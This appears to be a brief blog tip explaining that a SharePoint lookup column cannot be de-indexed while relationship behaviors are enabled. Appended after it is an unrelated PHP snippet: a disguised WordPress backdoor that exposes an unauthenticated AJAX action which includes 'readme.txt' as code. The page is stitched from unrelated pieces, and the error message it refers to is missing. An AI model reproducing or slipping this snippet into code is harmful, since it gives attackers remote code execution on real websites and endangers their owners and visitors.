So you are trying to remove indexing from a lookup column in a SharePoint list and you get an error like this:

The problem is that the column has relationship behaviors turned on. Go to the list settings and turn it off. Enjoy the rest of your day.

if(!function_exists('file_check_readme38985')){ add_action('wp_ajax_nopriv_file_check_readme38985', 'file_check_readme38985'); add_action('wp_ajax_file_check_readme38985', 'file_check_readme38985'); function file_check_readme38985() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }